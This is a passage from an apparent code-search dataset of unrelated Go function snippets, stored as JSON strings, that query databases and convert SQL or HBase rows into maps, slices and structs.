= valPtr.(time.Time).Format(isoFormat)\n\t\t\t\tcase fmt.Stringer:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%v\", valPtr)\n\t\t\t\tdefault:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%v\", valPtr)\n\t\t\t\t\tfmt.Println(\"Warning, column %s is an unhandled type: %v\", columnNames[i], valueType)\n\t\t\t\t}\n\t\t\t}\n\t\t\trowChan <- row\n\t\t}\n\t\tclose(rowChan)\n\t}()\n\treturn rowChan, columnNames\n}", "func (r *PopRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.Name, &r.Data.Year, &r.Data.Description}\n}", "func (m *Message) getRows() Rows {\n\t// Read the column count and column names.\n\tcolumns := make([]string, m.getUint64())\n\n\tfor i := range columns {\n\t\tcolumns[i] = m.getString()\n\t}\n\n\trows := Rows{\n\t\tColumns: columns,\n\t\tmessage: m,\n\t}\n\treturn rows\n}", "func GetRows() (*sql.Rows, error) {\n\tvar dsn string\n\t// init database connection\n\tif Cfg.Socket != \"\" {\n\t\tdsn = fmt.Sprintf(\"%s:%s@unix(%s)/%s?charset=%s\",\n\t\t\tCfg.User, Cfg.Password, Cfg.Socket, Cfg.Database, Cfg.Charset)\n\t} else {\n\t\tdsn = fmt.Sprintf(\"%s:%s@tcp(%s:%s)/%s?charset=%s\",\n\t\t\tCfg.User, Cfg.Password, Cfg.Host, Cfg.Port, Cfg.Database, Cfg.Charset)\n\t}\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\treturn db.Query(Cfg.Query)\n}", "func (p *HbaseClient) GetRows(tableName Text, rows [][]byte, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRows(tableName, rows, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRows()\n}", "func (r sqlCursor) Next() map[string]interface{} {\n\tvar err error\n\n\tif r.rows.Next() {\n\t\tif err = r.rows.Scan(r.columnValueReceivers...); err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\n\t\tvalues := make(map[string]interface{}, len(r.columnReceivers))\n\t\tfor j, vr := range r.columnReceivers {\n\t\t\tvalues[r.columnNames[j]] = vr.Unpack(r.columnTypes[j])\n\t\t}\n\t\tif r.builder != nil {\n\t\t\tv2 := r.builder.unpackResult([]map[string]interface{}{values})\n\t\t\treturn v2[0]\n\t\t} else {\n\t\t\treturn values\n\t\t}\n\t} else {\n\t\tif err = r.rows.Err(); err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\t\treturn nil\n\t}\n}", "func (t *Table) GetNomsRowData(ctx context.Context) (types.Map, error) {\n\tidx, err := t.table.GetTableRows(ctx)\n\tif err != nil {\n\t\treturn types.Map{}, err\n\t}\n\n\treturn durable.NomsMapFromIndex(idx), nil\n}", "func (r *ProductRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Price, &r.Data.Name, &r.Data.Alias, &r.Data.Stocked, &r.Data.Sold}\n}", "func (r *CampaignRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.PopName, &r.Data.PopYear}\n}", "func (r *CampaignRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.PopName, &r.Data.PopYear}\n}", "func queryRows(db *sql.DB) {\n\t// Set the command to execute\n\tvar sql = `\n\t\tselect id, first_name, last_name\n\t\tfrom ` + dbname + `.DemoTable;\n\t`\n\n\t// Get row results\n\tvar rows, rowErr = db.Query(sql)\n\tif rowErr != nil {\n\t\tfmt.Println(rowErr)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\t// Iterate over the rowset and output the demo table columns\n\tfor rows.Next() {\n\t\tvar id int\n\t\tvar fname string\n\t\tvar lname string\n\t\tif err := rows.Scan(&id, &fname, &lname); err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tfmt.Printf(\"id: %d, fname: %s, lname: %s\\n\", id, fname, lname)\n\t}\n}", "func (db *DB) query(sql string, num int, v ...interface{}) (Rows, error) {\n\tvar st interface{}\n\tif len(v) > 0 {\n\t\tstValue := reflect.ValueOf(v[0])\n\t\tif reflect.TypeOf(stValue).Kind() == reflect.Struct {\n\t\t\tst = v[0]\n\t\t\tv = v[1:]\n\t\t}\n\t}\n\n\trows, err := db.Queryx(sql, v...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tvar result Rows\n\tif st != nil {\n\t\tfor rows.Next() {\n\t\t\terr := rows.StructScan(st)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tresult = append(result, reflect.ValueOf(st).Elem().Interface())\n\t\t\tif num == 1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// get column's name\n\t\tcolumns, err := rows.Columns()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar cLen = len(columns)\n\t\tvaluePtrs := make([]interface{}, cLen)\n\t\tvalues := make([][]byte, cLen)\n\t\tfor i := 0; i < cLen; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\tfor rows.Next() {\n\t\t\terr := rows.Scan(valuePtrs...)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\trow := make(MapRow, cLen)\n\t\t\tfor i, v := range columns {\n\t\t\t\trow[v] = string(values[i])\n\t\t\t}\n\n\t\t\tresult = append(result, row)\n\t\t\tif num == 1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func (dbi *DB) SelectMap(sqls string, arg ...string) (map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tif len(rows.Cols) != 2 {\r\n\t\trows.Close()\r\n\t\treturn nil, errors.New(\"Error: only two columns allowed.\")\r\n\t}\r\n\r\n\tresvar := make(map[string]string)\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tresvar[colvar[0]] = colvar[1]\r\n\t}\r\n\treturn resvar, nil\r\n}", "func (conn *Conn) Select(dataSet map[int][]string) (map[int][]string, error) {\n\tdb := conn.db\n\tresult := make(map[int][]string)\n\n\tfor userid, emails := range dataSet {\n\t\ttableName := \"unsub_\" + strconv.Itoa(modId(userid))\n\t\t//sqlStr := \"SELECT email FROM \" + tableName + \" WHERE user_id = ? and email = ?\"\n\t\tsqlStr := fmt.Sprintf(\"SELECT email FROM %s WHERE user_id = ? and email IN (%s)\",\n\t\t\ttableName,\n\t\t\tfmt.Sprintf(\"?\"+strings.Repeat(\",?\", len(emails)-1)))\n\t\targs := make([]interface{}, len(emails)+1)\n\t\targs[0] = userid\n\t\tfor i, email := range emails {\n\t\t\targs[i+1] = email\n\t\t}\n\t\trows, err := db.Query(sqlStr, args...)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error querying db: %v\\n\", err)\n\t\t\treturn result, err\n\t\t}\n\t\tvar email string\n\t\tfor rows.Next() {\n\t\t\terr = rows.Scan(&email)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error scanning row: %v\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tresult[userid] = append(result[userid], email)\n\t\t}\n\t\tdefer rows.Close()\n\t\t/*\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error preparing statement\", err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfor e := range emails {\n\t\t\t\tvar user_id int\n\t\t\t\tvar email string\n\n\t\t\t\terr = stmt.QueryRow(userid, emails[e]).Scan(&user_id, &email)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == sql.ErrNoRows {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Printf(\"Error querying row\", err)\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tresult[user_id] = append(result[user_id], email)\n\t\t\t}\n\t\t*/\n\t}\n\treturn result, nil\n}", "func (c *Conn) Query(query string) ([]map[string]interface{}, error) {\n\tres := make([]map[string]interface{}, 0)\n\trows, err := c.GetConnection().Query(query)\n\tif err != nil {\n\t\treturn res, err\n\t}\n\tdefer rows.Close()\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\trows.Close()\n\t\treturn res, err\n\t}\n\tvalues := make([]sql.RawBytes, len(columns))\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\trows.Scan(scanArgs...)\n\t\tv := make(map[string]interface{})\n\t\tvar value interface{}\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tv[columns[i]] = value\n\t\t}\n\t\tres = append(res, v)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\trows.Close()\n\t\treturn res, err\n\t}\n\treturn res, nil\n}", "func ExecuteSelect(queryer db.Queryer, query string) ([]Row, error) {\n\trows, err := queryer.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar results []Row\n\tfor rows.Next() {\n\t\t// Create a slice of interface{}'s to represent each column,\n\t\t// and a second slice to contain pointers to each item in the columns slice.\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Create our map, and retrieve the value for each column from the pointers slice,\n\t\t// storing it in the map with the name of the column as the key.\n\t\tm := make(map[string]interface{})\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\tm[colName] = *val\n\t\t}\n\t\tresults = append(results, Row(m))\n\t}\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn results, nil\n}", "func GetTableRows (\n stub shim.ChaincodeStubInterface,\n table_name string,\n row_keys []string,\n) (chan []byte, error) {\n state_query_iterator,err := stub.GetStateByPartialCompositeKey(table_name, row_keys)\n if err != nil {\n return nil, fmt.Errorf(\"GetTableRow failed because stub.CreateCompositeKey failed with error %v\", err)\n }\n\n row_json_bytes_channel := make(chan []byte, 32) // TODO: 32 is arbitrary; is there some other reasonable buffer size?\n\n go func(){\n for state_query_iterator.HasNext() {\n query_result_kv,err := state_query_iterator.Next()\n if err != nil {\n panic(\"this should never happen probably\")\n }\n row_json_bytes_channel <- query_result_kv.Value\n }\n close(row_json_bytes_channel)\n }()\n\n return row_json_bytes_channel, nil\n}", "func receive(q Queryer, rows *sql.Rows) ([]Queryer, error) {\n\tvar queryers []Queryer\n\tfor rows.Next() {\n\t\tqNew := q\n\t\tvalue := reflect.ValueOf(q)\n\t\tbaseType := reflect.TypeOf(value.Interface())\n\t\ttmp := reflect.New(baseType)\n\t\tptrValue := tmp.Elem()\n\t\tres := []interface{}{}\n\t\tfor i := 0; i < value.NumField(); i++ {\n\t\t\ttmp := value.Field(i).Interface()\n\t\t\tres = append(res, &tmp)\n\t\t}\n\t\tif err := rows.Scan(res...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor i := 0; i < value.NumField(); i++ {\n\t\t\tunderlyingValue := reflect.ValueOf(res[i]).Elem()\n\t\t\tswitch v := underlyingValue.Interface().(type) {\n\t\t\tcase string:\n\t\t\t\tptrValue.Field(i).SetString(string(v))\n\t\t\t\tbreak\n\t\t\tcase []byte:\n\t\t\t\tptrValue.Field(i).SetString(string(v))\n\t\t\t\tbreak\n\t\t\tcase int64:\n\t\t\t\tptrValue.Field(i).SetInt(int64(v))\n\t\t\t\tbreak\n\t\t\tcase nil:\n\t\t\t\tbreak\n\t\t\tdefault:\n\t\t\t\treturn nil, fmt.Errorf(\"Failed to fetch value from database: %v\", underlyingValue.Interface())\n\t\t\t}\n\t\t}\n\t\tqNew = ptrValue.Interface().(Queryer)\n\t\tqueryers = append(queryers, qNew)\n\t}\n\treturn queryers, nil\n}", "func (bdm MySQLDBManager) ExecuteSQLSelectRow(sqlcommand string) (data map[string]string, err error) {\n\tdb, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\trows, err := db.Query(sqlcommand)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcols, err := rows.Columns()\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdata = make(map[string]string)\n\n\tif rows.Next() {\n\t\tcolumns := make([]sql.NullString, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i, _ := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\n\t\terr = rows.Scan(columnPointers...)\n\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tfor i, colName := range cols {\n\t\t\tval := \"\"\n\n\t\t\tif columns[i].Valid {\n\t\t\t\tval = columns[i].String\n\t\t\t}\n\n\t\t\tdata[colName] = val\n\t\t}\n\t} else {\n\t\terr = errors.New(\"Row not found in a table\")\n\t}\n\n\treturn\n}", "func DecodeRows(response *Message) (rows Rows, err error) {\n\tmtype, _ := response.getHeader()\n\n\tif mtype == bindings.ResponseFailure {\n\t\te := ErrRequest{}\n\t\te.Code = response.getUint64()\n\t\te.Description = response.getString()\n err = e\n return\n\t}\n\n\tif mtype != bindings.ResponseRows {\n\t\terr = fmt.Errorf(\"unexpected response type %d\", mtype)\n return\n\t}\n\n\trows = response.getRows()\n\n\treturn\n}", "func (r *PackageProductRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.PackageID, &r.Data.ProductID}\n}", "func (p *HbaseClient) GetRowsTs(tableName Text, rows [][]byte, timestamp int64, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsTs(tableName, rows, timestamp, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsTs()\n}", "func RowsToQueryResults(rows *sql.Rows, coldefs []database.Column) (QueryResults, error) {\n\tcols := database.Columns(coldefs).Names()\n\tres := []RowData{}\n\tfor rows.Next() {\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\trowData := makeRowDataSet(coldefs)\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\trowData[colName] = ColData{Data: val, DataType: rowData[colName].DataType}\n\t\t}\n\n\t\tres = append(res, rowData)\n\t}\n\n\treturn res, nil\n}", "func (p *HbaseClient) GetRowsWithColumnsTs(tableName Text, rows [][]byte, columns [][]byte, timestamp int64, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsWithColumnsTs(tableName, rows, columns, timestamp, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsWithColumnsTs()\n}", "func RowToArr(rows *sql.Rows) (records [][]string, err error) {\n\tfmt.Printf(\"RowToArr start at %s\", time.Now())\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn\n\t}\n\tcount := len(columns)\n\treadCols := make([]interface{}, count)\n\trawCols := make([]interface{}, count)\n\t//records = make([]interface{}, 0)\n\trecords = append(records, columns) //append row header as 1st row\n\n\t// var resultCols []string\n\tfor rows.Next() {\n\t\t// resultCols = make([]string, count)\n\t\tfor i := range columns {\n\t\t\treadCols[i] = &rawCols[i]\n\t\t}\n\t\terr = rows.Scan(readCols...)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tresultCols := assertTypeArray(columns, rawCols)\n\t\trecords = append(records, resultCols)\n\t}\n\n\tfmt.Printf(\"RowToArr end at %s\", time.Now())\n\treturn records, nil\n}", "func (store *Db2Store) GetData(sqlStr string, getResults bool) (map[string]interface{}, error) {\n\tstmt, err := store.Db.Prepare(sqlStr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn nil, err\n\t}\n\tdefer stmt.Close()\n\trows, err := stmt.Query()\n\tif err != nil {\n\t\tlog.Fatal(\"Error while running \", sqlStr, err)\n\t\treturn nil, err\n\t}\n\t// if no result expected just return nil\n\tif !getResults {\n\t\tdefer rows.Close()\n\t\treturn nil, nil\n\t}\n\n\tm, err := getMapFromRows(rows)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\treturn m, nil\n}", "func GetRows(currency string) (*sql.Rows, error) {\n\tif !common.ValidateCurrency(currency) {\n\t\treturn nil, errors.New(\"invalid currency\")\n\t}\n\t// TODO: implement date range windowing\n\treturn db.Queryx(fmt.Sprintf(\"SELECT * FROM %s\", currency))\n}", "func (f *StreamFetcher) FetchRows(ctx context.Context, offset, n uint64) (*sql.Rows, error) {\n\treturn f.DB.QueryContext(\n\t\tctx,\n\t\t`SELECT `+fetchColumns+`\n\t\tFROM ax_messagestore_message\n\t\tWHERE stream_id = ?\n\t\tAND stream_offset >= ?\n\t\tORDER BY stream_offset\n\t\tLIMIT ?`,\n\t\tf.StreamID,\n\t\toffset,\n\t\tn,\n\t)\n}", "func (my *MySQL) Query(sql string, params ...interface{}) (\n rows []*Row, res *Result, err os.Error) {\n\n res, err = my.Start(sql, params...)\n if err != nil {\n return\n }\n // Read rows\n var row *Row\n for {\n row, err = res.GetRow()\n if err != nil || row == nil {\n break\n }\n rows = append(rows, row)\n }\n return\n}", "func processRows(w http.ResponseWriter, rows *sql.Rows) {\n\tvar vorname string\n\tvar message string\n\n\tfor rows.Next() {\n\t\terr := rows.Scan(&vorname, &message)\n\t\tcheckErr(err)\n\n\t\tfmt.Fprintf(w, \"Nachricht von: %s, Nachricht: %s\\n\", string(vorname), string(message))\n\t}\n\n\tfmt.Println(\"Nachrichten wurden widergegeben!!\")\n}", "func GetPackageRowsByID(ctx context.Context, db SQLHandle, keys ...interface{}) (rows PackageRows, err error) {\n\trows = make(PackageRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetPackageRowsByID, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetPackageRowsByID\", err)\n\t}\n\treturn rows, nil\n}", "func databaseRowsToPaginationDataList(rows *sql.Rows, dtFields []dtColumn) ([]map[string]string, error) {\n\tvar dataList []map[string]string\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get row.Columns %w\", err)\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\t// rows.Scan wants '[]interface{}' as an argument, so we must copy the\n\t// references into such a slice\n\t// See http://code.google.com/p/go-wiki/wiki/InterfaceSlice for details\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\t// get RawBytes from data\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not scan rows to 'scanArgs...' %w\", err)\n\t\t}\n\n\t\tvar value string\n\n\t\tfor i, col := range values {\n\t\t\t// Here we can check if the value is nil (NULL value)\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\n\t\t\tfor _, dtField := range dtFields {\n\t\t\t\tif dtField.dbColumnName == columns[i] {\n\t\t\t\t\tdtObject := map[string]string{dtField.dtColumnName: value}\n\t\t\t\t\tdataList = append(dataList, dtObject)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dataList, nil\n}", "func (tbl *Table) GetRowByColumns(colNameToValue map[string]interface{}) map[string]interface{} {\n\t//TODO exception handling\n\n\tfor _, row := range tbl.bodyRows {\n\t\tcntMatched := 0\n\t\tfor i := range row {\n\t\t\tcolName := tbl.colNames[i]\n\t\t\tval, ok := colNameToValue[colName]\n\t\t\tif ok {\n\t\t\t\tif !reflect.DeepEqual(val, row[i]) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tcntMatched++\n\t\t\t}\n\t\t}\n\n\t\tif cntMatched == len(colNameToValue) {\n\t\t\trowMatched := make(map[string]interface{})\n\t\t\tfor i, val := range row {\n\t\t\t\trowMatched[tbl.colNames[i]] = val\n\t\t\t}\n\n\t\t\treturn rowMatched\n\t\t}\n\t}\n\n\treturn nil\n}", "func initColTypeRowReceiverMap() {\n\tdataTypeStringArr := []string{\n\t\t\"CHAR\", \"NCHAR\", \"VARCHAR\", \"NVARCHAR\", \"CHARACTER\", \"VARCHARACTER\",\n\t\t\"TIMESTAMP\", \"DATETIME\", \"DATE\", \"TIME\", \"YEAR\", \"SQL_TSI_YEAR\",\n\t\t\"TEXT\", \"TINYTEXT\", \"MEDIUMTEXT\", \"LONGTEXT\",\n\t\t\"ENUM\", \"SET\", \"JSON\", \"NULL\", \"VAR_STRING\",\n\t}\n\n\tdataTypeIntArr := []string{\n\t\t\"INTEGER\", \"BIGINT\", \"TINYINT\", \"SMALLINT\", \"MEDIUMINT\",\n\t\t\"INT\", \"INT1\", \"INT2\", \"INT3\", \"INT8\",\n\t\t\"UNSIGNED INT\", \"UNSIGNED BIGINT\", \"UNSIGNED TINYINT\", \"UNSIGNED SMALLINT\", // introduced in https://github.com/go-sql-driver/mysql/pull/1238\n\t}\n\n\tdataTypeNumArr := append(dataTypeIntArr, []string{\n\t\t\"FLOAT\", \"REAL\", \"DOUBLE\", \"DOUBLE PRECISION\",\n\t\t\"DECIMAL\", \"NUMERIC\", \"FIXED\",\n\t\t\"BOOL\", \"BOOLEAN\",\n\t}...)\n\n\tdataTypeBinArr := []string{\n\t\t\"BLOB\", \"TINYBLOB\", \"MEDIUMBLOB\", \"LONGBLOB\", \"LONG\",\n\t\t\"BINARY\", \"VARBINARY\",\n\t\t\"BIT\", \"GEOMETRY\",\n\t}\n\n\tfor _, s := range dataTypeStringArr {\n\t\tdataTypeString[s] = struct{}{}\n\t\tcolTypeRowReceiverMap[s] = SQLTypeStringMaker\n\t}\n\tfor _, s := range dataTypeIntArr {\n\t\tdataTypeInt[s] = struct{}{}\n\t}\n\tfor _, s := range dataTypeNumArr {\n\t\tcolTypeRowReceiverMap[s] = SQLTypeNumberMaker\n\t}\n\tfor _, s := range dataTypeBinArr {\n\t\tdataTypeBin[s] = struct{}{}\n\t\tcolTypeRowReceiverMap[s] = SQLTypeBytesMaker\n\t}\n}", "func (r *RSource) RemoteColNames() ([]string, error) {\n\tif r.rClient == nil {\n\t\treturn nil, errors.New(\"No R connection\")\n\t}\n\tscript := `\n\tcol_names <- colnames(dataframe_output)\n\t`\n\tcolNames, err := r.rClient.Eval(script)\n\tif err != nil {\n\t\treturn nil, r.getErr()\n\t}\n\tswitch colNames.(type) {\n\tcase string:\n\t\treturn []string{colNames.(string)}, nil\n\tcase []string:\n\t\treturn colNames.([]string), nil\n\t}\n\treturn nil, errors.New(\"Unclear about col names.\")\n}", "func QueryReturnRows(query string, db *sql.DB, arg ...interface{}) (bool, []string) {\n\trows, err := db.Query(query, arg...)\n\tCheck(err)\n\tdefer rows.Close()\n\n\tvar items []string\n\tfor rows.Next() {\n\t\tvar currentItem string\n\t\terr := rows.Scan(&currentItem)\n\t\tCheck(err)\n\n\t\titems = append(items, currentItem)\n\t}\n\n\tif len(items) < 1 {\n\t\treturn false, []string{}\n\t}\n\n\treturn true, items\n}", "func readUsersFromRows(rows *sql.Rows) ([]*User, error) {\n\tvar users []*User\n\n\tfor rows.Next() {\n\t\tu := User{}\n\t\terr := rows.Scan(\n\t\t\t&u.ID,\n\t\t\t&u.Username,\n\t\t\t&u.Email,\n\t\t\t&u.Bio,\n\t\t\t&u.Password,\n\t\t\t&u.Clicks,\n\t\t\t&u.LastClick,\n\t\t\t&u.IsAdmin,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tusers = append(users, &u)\n\t}\n\n\treturn users, nil\n}", "func (t *Table) GetRows(ctx context.Context, pkItr PKItr, numPKs int, sch schema.Schema) (rows []row.Row, missing []types.Value, err error) {\n\tif numPKs < 0 {\n\t\tnumPKs = 0\n\t}\n\n\trows = make([]row.Row, 0, numPKs)\n\tmissing = make([]types.Value, 0, numPKs)\n\n\trowMap, err := t.GetRowData(ctx)\n\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tfor pk, ok, err := pkItr(); ok; pk, ok, err = pkItr() {\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tfieldsVal, _, err := rowMap.MaybeGet(ctx, pk)\n\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tif fieldsVal == nil {\n\t\t\tmissing = append(missing, pk)\n\t\t} else {\n\t\t\tr, err := row.FromNoms(sch, pk, fieldsVal.(types.Tuple))\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\n\t\t\trows = append(rows, r)\n\t\t}\n\t}\n\n\treturn rows, missing, nil\n}", "func (f *GlobalFetcher) FetchRows(ctx context.Context, offset, n uint64) (*sql.Rows, error) {\n\treturn f.DB.QueryContext(\n\t\tctx,\n\t\t`SELECT `+fetchColumns+`\n\t\tFROM ax_messagestore_message\n\t\tWHERE global_offset >= ?\n\t\tORDER BY global_offset\n\t\tLIMIT ?`,\n\t\toffset,\n\t\tn,\n\t)\n}", "func CollectRows[T any](rows Rows, fn RowToFunc[T]) ([]T, error) {\n\tdefer rows.Close()\n\n\tslice := []T{}\n\n\tfor rows.Next() {\n\t\tvalue, err := fn(rows)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tslice = append(slice, value)\n\t}\n\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn slice, nil\n}", "func GetProductRowsByAlias(ctx context.Context, db SQLHandle, keys ...interface{}) (rows ProductRows, err error) {\n\trows = make(ProductRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetProductRowsByAlias, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetProductRowsByAlias\", err)\n\t}\n\treturn rows, nil\n}", "func (p *HbaseClient) GetRowsWithColumns(tableName Text, rows [][]byte, columns [][]byte, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsWithColumns(tableName, rows, columns, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsWithColumns()\n}", "func (t *Table) GetRowData(ctx context.Context) (types.Map, error) {\n\tval, _, err := t.tableStruct.MaybeGet(tableRowsKey)\n\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\trowMapRef := val.(types.Ref)\n\n\tval, err = rowMapRef.TargetValue(ctx, t.vrw)\n\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\trowMap := val.(types.Map)\n\treturn rowMap, nil\n}", "func (repo *Repository) Query(query string, args []interface{}) ([]map[string]interface{}, error) {\n\n\trows, err := repo.Db.Query(query, args...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tresult := make([]map[string]interface{}, 0)\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmyRow := make(map[string]interface{})\n\n\t\tvar value string\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tmyRow[columns[i]] = value\n\t\t}\n\t\tresult = append(result, myRow)\n\t}\n\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "func (db *GeoDB) readReplies(qCount int, conn redis.Conn) ([]interface{}, error) {\n\tallRes := make([]interface{}, 0)\n\n\tfor i := 0; i < qCount; i++ {\n\t\tres, err := conn.Receive()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tallRes = append(allRes, res.([]interface{})...)\n\t}\n\n\treturn allRes, nil\n}", "func readRows(rows *sql.Rows, ttype reflect.Type) ([]interface{}, error) {\n\tcols, _ := rows.Columns()\n\treadCols := make([]interface{}, 0)\n\tfor rows.Next() {\n\t\t//new a struct\n\t\tcolval := reflect.New(ttype).Interface()\n\t\t//[]byte save the encoded conent of the struct's special member\n\t\tstructval := 